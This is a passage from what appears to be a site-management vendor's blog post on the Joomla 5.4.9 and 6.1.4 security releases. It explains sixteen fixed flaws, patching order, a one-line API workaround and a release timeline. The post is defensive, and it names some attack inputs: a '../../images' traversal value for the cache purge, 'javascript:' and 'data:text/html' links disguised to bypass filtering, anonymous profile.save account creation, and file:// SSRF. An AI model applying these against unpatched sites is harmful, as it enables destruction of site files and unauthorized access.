URIs&lt;/td&gt;&lt;td&gt;1.5.0&lt;/td&gt;&lt;td&gt;Filtered content authors&lt;/td&gt;&lt;td&gt;not stated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1081-20260901-core-xss-in-htmlhelper-link-method.html&quot;&gt;CVE-2026-90906&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;XSS in &lt;code&gt;HTMLHelper::link&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1.5.0&lt;/td&gt;&lt;td&gt;Depends on the caller&lt;/td&gt;&lt;td&gt;Demyanchuk V.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1084-20260904-core-xss-in-the-generic-media-output-layouts.html&quot;&gt;CVE-2026-90914&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;XSS in audio and video layouts&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Content editors&lt;/td&gt;&lt;td&gt;Aria Akhavan&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1091-20260911-core-xss-in-link-toolbar-layout.html&quot;&gt;CVE-2026-92224&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;XSS in link toolbar layout&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Depends on the caller&lt;/td&gt;&lt;td&gt;Google and Ada Logics&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1092-20260912-core-xss-in-module-list.html&quot;&gt;CVE-2026-92225&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;XSS in the module list&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Module editors&lt;/td&gt;&lt;td&gt;Google and Ada Logics&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1090-20260910-core-improper-acl-checks-for-workflow-stage-changes.html&quot;&gt;CVE-2026-92223&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Workflow stage change without permission&lt;/td&gt;&lt;td&gt;5.0.0&lt;/td&gt;&lt;td&gt;Backend editors, if Workflows are on&lt;/td&gt;&lt;td&gt;Faceless&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1083-20260903-core-improper-acl-checks-for-user-level-webservice-endpoints.html&quot;&gt;CVE-2026-90913&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Access level changes through the API&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;API users below Super User&lt;/td&gt;&lt;td&gt;sec-reex&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1093-20260913-core-improper-acl-checks-for-varous-webservice-edit-tasks.html&quot;&gt;CVE-2026-92226&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;API edits ignoring item permissions&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;API users below Super User&lt;/td&gt;&lt;td&gt;Google and Ada Logics&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1086-20260906-core-improper-acl-checks-in-content-history-comparison-view.html&quot;&gt;CVE-2026-90916&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Low&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Content history compare shows other items&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Anyone who edits content&lt;/td&gt;&lt;td&gt;Arkadiusz&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The CVE records themselves had not been published at cve.org when this was written, so the advisories are the authoritative source for now.&lt;/p&gt;
&lt;h2&gt;Patching Joomla 5.4.9 and 6.1.4 Across a Client Portfolio&lt;/h2&gt;
&lt;p&gt;On one site this is a single click. Across a portfolio, the first job is working out which sites need which path, and the numbers from the Joomla sites in the mySites.guru database, taken minutes after the release, show where the work is.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73.1%&lt;/div&gt;&lt;div&gt;of Joomla sites run a version this release fixes&lt;/div&gt;&lt;div&gt;every 4.x, 5.x below 5.4.9, 6.x below 6.1.4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;26.0%&lt;/div&gt;&lt;div&gt;are on Joomla 3&lt;/div&gt;&lt;div&gt;five of the sixteen flaws reach them, with no fix&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;90.6%&lt;/div&gt;&lt;div&gt;of Joomla 5 and 6 sites reached the previous release&lt;/div&gt;&lt;div&gt;six weeks after 5.4.8 and 6.1.3 shipped&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Joomla sites in the mySites.guru database that reported in during the 30 days to 29 September 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;That last figure is the encouraging one. Nine in ten Joomla 5 and 6 sites in the mySites.guru database were on the latest release six weeks after it came out, so most people managing them do update. The remaining one in ten is where incidents come from, and those sites are rarely left behind on purpose: the site on a different host, the one whose update stalled during download, the client who has their own admin login and clicked “later”.&lt;/p&gt;
&lt;p&gt;mySites.guru’s Joomla version check flags each connected site behind the latest release in its branch, so all your 5.4.8 and 6.1.3 sites are now flagged. You can &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from that one list and run the core update on all of them in one pass. The guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrading Joomla and WordPress sites from one dashboard&lt;/a&gt; shows the click path, and the opt-in &lt;a href=&quot;https://mysites.guru/blog/update-queue-one-at-a-time-per-server/&quot;&gt;update queue&lt;/a&gt; runs one update at a time per server so a shared host is not hit by thirty at once.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Joomla CMS Version Must Be Up-to-date&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Some sites will update themselves. Joomla 5.4 and later can take &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; from the Joomla project’s own free update service, which is on by default for new 5.4 and 6.x installs and off for sites upgraded from older versions. That is a Joomla feature rather than a mySites.guru one, and a site where it is off, or which cannot reach the update server, stays where it is. Check the version each site actually reports rather than assuming.&lt;/p&gt;
&lt;p&gt;Two upgrade-path rules from the release notes catch people out. Joomla 5.4.9 needs 4.4 as its starting point, so a Joomla 4.3 site goes to 4.4 first. Joomla 6.1.4 needs 5.4, so a 5.3 site goes to 5.4.9 before it goes anywhere near 6. Both releases also add one database column (&lt;code&gt;#__updates.security&lt;/code&gt;, explained below), so take a backup first. A site that fails at the database step is much easier to put back from a backup than to repair.&lt;/p&gt;
&lt;h2&gt;The Joomla Flaw That Reaches Every Site: Account Creation With Registration Off&lt;/h2&gt;
&lt;p&gt;We would patch for &lt;a href=&quot;https://developer.joomla.org/security-centre/1082-20260902-core-unauthorized-user-account-creation-via-profile-save-controller.html&quot;&gt;CVE-2026-90907&lt;/a&gt;, first, ahead of both High issues. It is rated Moderate, but it needs no login and no special configuration, and it reaches back to Joomla 1.5.&lt;/p&gt;
&lt;p&gt;The front-end profile form saves through a &lt;code&gt;profile.save&lt;/code&gt; task in com_users. Before this release, that task checked the form token and nothing else. A visitor who was not logged in has a user id of zero, so the save ran against a new, empty user: Joomla bound the posted name, username, email and password, put the account in the configured guest group (Guest, by default), and saved it. The Allow User Registration setting is never consulted on that path. The fix is three lines in &lt;code&gt;ProfileController::save()&lt;/code&gt; that refuse the request if the user is a guest.&lt;/p&gt;
&lt;p&gt;On a default site, what an attacker gets is limited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The account is in the Guest group, which has no front-end login permission by default, so it cannot sign in&lt;/li&gt;
&lt;li&gt;It is not blocked, and the attacker chose its password, so it becomes a working login the moment someone grants Guest more rights or points the guest group somewhere else&lt;/li&gt;
&lt;li&gt;It exists. It can hold an email address or username so the real person cannot register with it&lt;/li&gt;
&lt;li&gt;User plugins run for it. A CRM sync, a newsletter auto-subscribe or a community profile plugin that acts on &lt;code&gt;onUserAfterSave&lt;/code&gt; fires for every account created this way&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The practical clean-up is to sort Users by registration date on sites where registration is switched off and look at anything in the Guest group you do not recognise. mySites.guru’s &lt;a href=&quot;https://mysites.guru/tools/user-accounts/user-registration-enabled/&quot;&gt;user registration check&lt;/a&gt; tells you which sites have registration on, and &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;managing users across every site&lt;/a&gt; makes the review a single search rather than an admin login per site. For accounts with real rights, the &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;rogue administrator detection&lt;/a&gt; is the check to run.&lt;/p&gt;
&lt;h2&gt;The Two High-Severity Joomla Issues&lt;/h2&gt;
&lt;p&gt;Both High issues need a backend account, which is why the JSST rates their probability Low. The impact is what earns them High.&lt;/p&gt;
&lt;h3&gt;Deleting directories through the cache purge (CVE-2026-90915)&lt;/h3&gt;
&lt;p&gt;System, Clear Cache sends the names of the cache groups to delete, and the file cache handler joined each name onto the cache folder path and deleted the result. Its safety check only confirmed the path &lt;em&gt;started&lt;/em&gt; with the cache folder. It never resolved &lt;code&gt;..&lt;/code&gt;, so a group name like &lt;code&gt;../../images&lt;/code&gt; passed the check and deleted the images folder, and so on up to anything the web server user can write to.&lt;/p&gt;
&lt;p&gt;The request has a CSRF token, so it cannot be triggered by a link. The people who can send it are those with access to Clear Cache, which by default is the Administrator and Super User groups. The concern is an Administrator, or anyone a site builder has given cache access, being able to destroy the whole site’s files, which is far beyond what that role should allow. It only applies with the file cache handler, which is Joomla’s default. The fix routes every cache path through &lt;code&gt;Path::check()&lt;/code&gt;, which resolves the path and refuses anything outside the cache folder.&lt;/p&gt;
&lt;h3&gt;Server-side request forgery through URL fields (CVE-2026-92222)&lt;/h3&gt;
&lt;p&gt;Joomla’s URL validation rule accepts over twenty schemes when a form field does not name its own list: &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;gopher&lt;/code&gt;, &lt;code&gt;ldap&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt; and more alongside &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt;. Most URL fields only store a link, but four make the server fetch whatever URL they hold:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;News Feeds items&lt;/strong&gt;, reachable by Manager and up, the lowest-privileged route&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Feed Display module&lt;/strong&gt;, site and administrator versions, reachable by anyone who can create modules&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The scheduled GET Request task&lt;/strong&gt;, which also writes the response into the task output, so whoever set it up can read what came back&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The custom update source&lt;/strong&gt; in Joomla Update, Super User only&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fix limits those fields to &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt; (plus &lt;code&gt;ftp&lt;/code&gt; and &lt;code&gt;ftps&lt;/code&gt; for the update source). Our reading of the feed code is that it opened the URL with PHP’s &lt;code&gt;XMLReader&lt;/code&gt; before anything else, which would also make local XML files readable through &lt;code&gt;file://&lt;/code&gt;; the advisory does not go into that detail. This one reaches back to Joomla 3.0.0, and the &lt;a href=&quot;https://mysites.guru/blog/regular-labs-modules-anywhere-10-tabs-accordions-3-2-security/&quot;&gt;Regular Labs Modules Anywhere fix&lt;/a&gt; two days earlier used the same Feed module as its route to the server’s files.&lt;/p&gt;
&lt;h2&gt;The Joomla MFA Bypass Through Remember Me&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1094-20260914-core-mfa-authentication-bypass-through-rememberme-cookies.html&quot;&gt;CVE-2026-92227&lt;/a&gt; is the fourth MFA bypass Joomla has fixed this year, and it needs the password first. Joomla issued the Remember Me cookie the moment the password was accepted, before the MFA prompt appeared. By default, Joomla also skips MFA for logins made by cookie. Put together, someone with a user’s password could tick Remember Me, abandon the MFA screen, and return later in a fresh browser session to be logged in by the cookie without ever entering a second factor.&lt;/p&gt;
&lt;p&gt;The fix holds the cookie back until MFA has been passed. It affects front-end logins only, because the administrator login has no Remember Me, and both plugins involved (Authentication - Cookie and System - Remember Me) are enabled by default. The same release also switches the TOTP code comparison to &lt;code&gt;hash_equals()&lt;/code&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48056&quot;&gt;#48056&lt;/a&gt;), so variants like &lt;code&gt;+123456&lt;/code&gt; no longer pass for the real code.&lt;/p&gt;
&lt;p&gt;If you are &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;forcing MFA on Super Users across a portfolio&lt;/a&gt;, patch first. That post also explains why cookie logins skip MFA by default and how to change that setting, which is sensible with or without this fix.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/mfanotforcedforsuperusers&quot;&gt;Force Multi-Factor Authentication For Super Users&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/mfanotforcedforsuperusers&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The Joomla Cross-Site Scripting Fixes&lt;/h2&gt;
&lt;p&gt;Seven of the sixteen are cross-site scripting, where a value ends up in a page or email without being escaped. How much each one matters depends almost entirely on who can supply the value:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;InputFilter, two bypasses&lt;/strong&gt; (CVE-2026-92231, CVE-2026-92232). This is the filter that cleans HTML from users who are not on No Filtering, which by default includes Authors and Editors. One bypass hid &lt;code&gt;javascript:&lt;/code&gt; behind HTML5 entities such as &lt;code&gt;&amp;amp;NewLine;&lt;/code&gt;; the other hid a &lt;code&gt;data:text/html&lt;/code&gt; link behind a tab character that browsers drop. Both date back to 1.5.0 and follow the two InputFilter fixes in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;5.4.6 and 6.1.1&lt;/a&gt;. If you let people you do not fully trust write content, these are the XSS fixes that matter&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML mail templates&lt;/strong&gt; (CVE-2026-90918). Joomla already marked values like the contact form’s name and message as unsafe, but on sites sending HTML mail they were inserted raw anyway. Visitors could put markup into mail sent to the site owner. The default is plain text, so most sites were not exposed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audio and video output&lt;/strong&gt; (CVE-2026-90914). Only the &lt;code&gt;src&lt;/code&gt; attribute of the media field’s audio and video output was escaped. The advisory’s range starts at 4.0.0, but the layouts it fixes only exist on Joomla 6, and 5.4.9 changes nothing for it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The module list&lt;/strong&gt; (CVE-2026-92225). A module position string was printed unescaped into the backend Modules list, so someone who can edit modules could plant script for a Super User who opens the list&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;HTMLHelper::link&lt;/code&gt; and the link toolbar&lt;/strong&gt; (CVE-2026-90906, CVE-2026-92224). Library helpers that printed URLs unescaped. Whether a site is exploitable depends on some caller, core or third-party, passing a user-influenced URL to them, which is why both are rated Low probability&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Joomla Access Control Fixes&lt;/h2&gt;
&lt;p&gt;The other six are places where Joomla checked the wrong permission, or checked one and forgot another:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tagged items&lt;/strong&gt; (CVE-2026-90917). Tag lists, Popular Tags and Similar Tags checked an article’s own access level but not its category’s. An article left Public inside a Registered-only category showed up for anonymous visitors&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content history compare&lt;/strong&gt; (CVE-2026-90916, Low). The compare view checked the first version id and not the second, so anyone who can edit one item with history could read old versions of items they cannot open&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Workflow stage changes&lt;/strong&gt; (CVE-2026-92223). The batch stage change set an error when the user lacked permission and then made the change anyway. Workflows are off by default, so only sites that turned them on for &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 5 and 6 publishing workflows&lt;/a&gt; are affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Joomla API&lt;/strong&gt; (CVE-2026-90913, CVE-2026-92226). API users could create and edit viewing access levels with ordinary user-management rights where the backend requires full admin, and API edits ignored item-level permissions. By default only Super Users can log in to the API, so these matter on sites that have given API access to a lower group for an integration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If nothing on a site uses the API, &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/&quot;&gt;switching the Joomla API off&lt;/a&gt; removes that whole class of problem, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-revoke-joomla-api-tokens-after-a-hack/&quot;&gt;API tokens you have issued&lt;/a&gt; are worth a review whether or not you do.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/extensioninformation/joomlaapienabled&quot;&gt;Disable The Joomla API (Web Services)&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/extensioninformation/joomlaapienabled&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Joomla 3 Sites Get No Fix&lt;/h2&gt;
&lt;p&gt;Five of the sixteen reach back to Joomla 1.5.0 or 3.0.0: the anonymous account creation, the SSRF, both InputFilter bypasses and the &lt;code&gt;HTMLHelper::link&lt;/code&gt; escaping. Joomla 3 has been end of life since August 2023, so the Joomla project will not patch any of them there.&lt;/p&gt;
&lt;p&gt;In the mySites.guru database, 26.0% of Joomla sites that reported in over the last 30 days are still on Joomla 3, roughly one in four. Each of them now has a publicly documented way for an anonymous visitor to create accounts, with the exact file and the three missing lines named in a public diff. The &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/joomla-3-end-of-life/&quot;&gt;Joomla 3 end-of-life check&lt;/a&gt; lists those sites, and &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;what Joomla 3 end of life means for agency retainers&lt;/a&gt; covers the options for them.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;An unsupported CMS collects known flaws&lt;/p&gt;&lt;div&gt;&lt;p&gt;Each Joomla release like this one adds to &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;the list of documented, unfixed problems&lt;/a&gt; on every Joomla 3 site. Nothing about those sites changed today, yet they are less safe than they were yesterday.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Known Issue: Joomla 5.4.9 Breaks API Edits&lt;/h2&gt;
&lt;p&gt;A few hours after the release, Joomla published a &lt;a href=&quot;https://manual.joomla.org/updates/53-54/known-issues/5.4.9/&quot;&gt;known issues page for 5.4.9&lt;/a&gt;. Updating an item through the Joomla API, with a PATCH request to change a banner, a user or an article, now stops with a fatal error.&lt;/p&gt;
&lt;p&gt;The cause is the new item permission check in &lt;code&gt;ApiController::allowEdit()&lt;/code&gt;, part of the fix for API edits ignoring item permissions. It calls &lt;code&gt;InflectorFactory&lt;/code&gt;, but the &lt;code&gt;use&lt;/code&gt; statement that imports the class was lost when the fixes were ported to the 5.x branch, so PHP cannot find it. The 6.1.4 copy of the file has the import, which is why only 5.4.9 is affected. The fix is &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48527&quot;&gt;#48527&lt;/a&gt;, merged the same evening and due in 5.4.10.&lt;/p&gt;
&lt;p&gt;If an integration writes to a 5.4.9 site through the API, add this line with the other &lt;code&gt;use&lt;/code&gt; statements near the top of &lt;code&gt;libraries/src/MVC/Controller/ApiController.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;use&lt;/span&gt;&lt;span&gt; Doctrine&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Inflector&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;InflectorFactory&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is exactly what #48527 adds, so 5.4.10 will overwrite the file with the same fix. Reading items through the API still works, and a site where nothing uses the API never touches this code, so neither is a reason to hold back 5.4.9 and its sixteen security fixes. If the API on a site is switched on but nothing uses it, this is a good moment to &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/&quot;&gt;switch it off&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Other Changes in Joomla 5.4.9 and 6.1.4&lt;/h2&gt;
&lt;h3&gt;The Template Manager is fixed&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/&quot;&gt;Template Manager bug that 5.4.8 and 6.1.3 introduced&lt;/a&gt;, where creating an override or a new template folder failed with “Snooping out of bounds”, is fixed in both releases by &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48274&quot;&gt;#48274&lt;/a&gt;. Two other Template Manager fixes in the same release also changed &lt;code&gt;TemplateModel.php&lt;/code&gt;, so the file that ships is not identical to the replacement Joomla published as a known issue, or to the one our fix tool installed. The update overwrites either, which is what you want.&lt;/p&gt;
&lt;h3&gt;Extensions can now mark a security release&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48233&quot;&gt;#48233&lt;/a&gt; lets an extension’s update feed flag an update with a &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; level from 0 (None) to 4 (Critical). Joomla stores the highest level among all updates newer than the installed version in the new &lt;code&gt;#__updates.security&lt;/code&gt; column, and System, Update, Extensions shows a “Security release level” badge. That is the database change in this release. It only helps once extension developers start sending the flag, but it is the first time core Joomla has had a way to tell you an extension update is a security fix rather than a feature release. Extension developers can find the XML, the edge cases and screenshots in our &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-update-security-flag/&quot;&gt;developer guide to the security flag&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Smaller changes in this release&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;POWCaptcha&lt;/strong&gt; no longer uses a CSRF token for its challenge on 6.1 (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48304&quot;&gt;#48304&lt;/a&gt;), because page caching served one visitor’s token to the next and broke the captcha&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Banner tracks CSV export&lt;/strong&gt; escapes names that start with &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt; or &lt;code&gt;@&lt;/code&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48047&quot;&gt;#48047&lt;/a&gt;), closing a spreadsheet formula injection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tagged articles&lt;/strong&gt; stop creating a duplicate &lt;code&gt;#__ucm_content&lt;/code&gt; row on every save (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48221&quot;&gt;#48221&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bundled libraries:&lt;/strong&gt; &lt;code&gt;joomla/filter&lt;/code&gt; is updated for the InputFilter fixes, &lt;code&gt;joomla/filesystem&lt;/code&gt; moves to a public release containing the SHTML upload fix from 5.4.8, and &lt;code&gt;joomla/registry&lt;/code&gt; and &lt;code&gt;paragonie/sodium_compat&lt;/code&gt; get point releases&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Joomla 6.2 beta sites&lt;/h3&gt;
&lt;p&gt;The 6.2.0 betas and the 6.2 development branch did not have these fixes when 5.4.9 and 6.1.4 shipped. If you run a 6.2 beta anywhere public, it is exposed until the next beta.&lt;/p&gt;
&lt;h2&gt;What We Would Do Tonight&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Patch sites with front-end logins, MFA users, restricted categories or HTML mail first. Those are the sites where an anonymous visitor or a stolen password can reach something&lt;/li&gt;
&lt;li&gt;Patch everything else on Joomla 4, 5 and 6 in one bulk run&lt;/li&gt;
&lt;li&gt;Check each site reports 5.4.9 or 6.1.4 from its own files, and chase the ones that did not move&lt;/li&gt;
&lt;li&gt;On 5.4.9 sites where an integration edits content through the API, apply the &lt;a href=&quot;#known-issue-joomla-549-breaks-api-edits&quot;&gt;one-line workaround&lt;/a&gt; until 5.4.10&lt;/li&gt;
&lt;li&gt;On sites with registration off, look for Guest accounts created before the update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Put a date on the Joomla 3 sites&lt;/a&gt;. They will not get this fix or the next one&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Previous releases in this series: &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;5.4.6 and 6.1.1&lt;/a&gt; fixed ten issues including two MFA bypasses, and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;5.4.7 and 6.1.2&lt;/a&gt; shipped the regression that ignored article options. If you are not yet managing your Joomla sites from one place, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs the version check on your own sites, and &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; covers everything else the subscription does.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; The earliest of the sixteen reports reaches the JSST The content history comparison view issue, CVE-2026-90916. The rest arrive between late July and 10 September.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; Google and Ada Logics report four issues in one day The link toolbar and module list XSS, the webservice edit check and, jointly with Mukul Goyal, the Remember Me MFA bypass.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-17&lt;/strong&gt; Release candidates ship without the security fixes 5.4.9-rc1 and 6.1.4-rc1 contain only the public bug fixes. The security changes went into the final release commits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; Joomla 5.4.9 and 6.1.4 are released Both at 16:00 UTC, each described as a security release to install as soon as possible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; All sixteen advisories go up on the Security Centre About an hour after the release, with CVE ids, version ranges and credits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; API edits found broken on 5.4.9 About an hour after the release, pull request #48527 is opened: a use statement lost while porting the security fixes to 5.x makes every API PATCH request fatal. 6.1.4 is not affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; Joomla publishes the 5.4.9 known issue The known issues page goes up at 19:07 UTC with a one-line workaround for libraries/src/MVC/Controller/ApiController.php.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; The fix is merged for 5.4.10 #48527 is merged into the 5.4 branch at 19:36 UTC. It adds the same line as the workaround, so 5.4.10 overwrites a patched file with identical code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
